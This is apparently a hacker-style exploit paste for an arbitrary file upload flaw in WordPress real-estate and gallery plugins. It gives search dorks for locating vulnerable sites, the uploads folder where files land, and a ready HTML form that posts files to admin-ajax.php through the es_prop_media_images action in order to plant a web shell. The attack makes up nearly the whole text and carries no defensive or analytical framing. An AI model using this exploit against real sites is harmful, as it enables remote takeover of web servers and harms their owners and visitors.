Wordpress Arbitrary File Upload (shell)

[+] Dorks :

index of "/wp-content/plugins/estatik"
index of "/wp-content/plugins/wp-vertical-gallery/"

[+] Folder Arbitrary :

/wp-content/uploads/

[+] Exploits :

<html> <body> <form action="target.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="es_prop_media_images" />
<input type="file" name="es_media_images[]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>